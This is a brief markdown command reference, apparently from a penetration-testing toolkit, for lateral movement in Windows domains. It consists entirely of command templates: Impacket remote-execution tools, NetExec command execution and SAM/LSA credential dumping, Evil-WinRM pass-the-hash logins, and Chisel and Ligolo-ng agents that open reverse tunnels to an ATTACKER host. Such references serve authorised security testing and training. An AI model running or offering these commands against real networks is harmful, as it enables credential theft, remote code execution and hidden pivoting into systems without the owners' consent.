<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Performing Lateral Movement

## Impacket
```bash
psexec.py 'DOMAIN/user:pass@TARGET' [-hashes :NTHASH] [-k -no-pass]
smbexec.py 'DOMAIN/user:pass@TARGET'
wmiexec.py 'DOMAIN/user:pass@TARGET'
dcomexec.py 'DOMAIN/user:pass@TARGET'
```

## NetExec
```bash
nxc smb TARGETS -u USER -p PASS -x 'CMD'
nxc smb TARGETS -u USER -H HASH --shares / --sam / --lsa
nxc winrm TARGETS -u USER -p PASS -x 'CMD'
```

## Evil-WinRM
```bash
evil-winrm -i TARGET -u USER -p PASS
evil-winrm -i TARGET -u USER -H NTHASH
```

## Chisel
```bash
chisel server -p 8888 --reverse
chisel client ATTACKER:8888 R:1080:socks
```

## Ligolo-ng
```bash
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
ligolo-agent -connect ATTACKER:11601 -ignore-cert
```
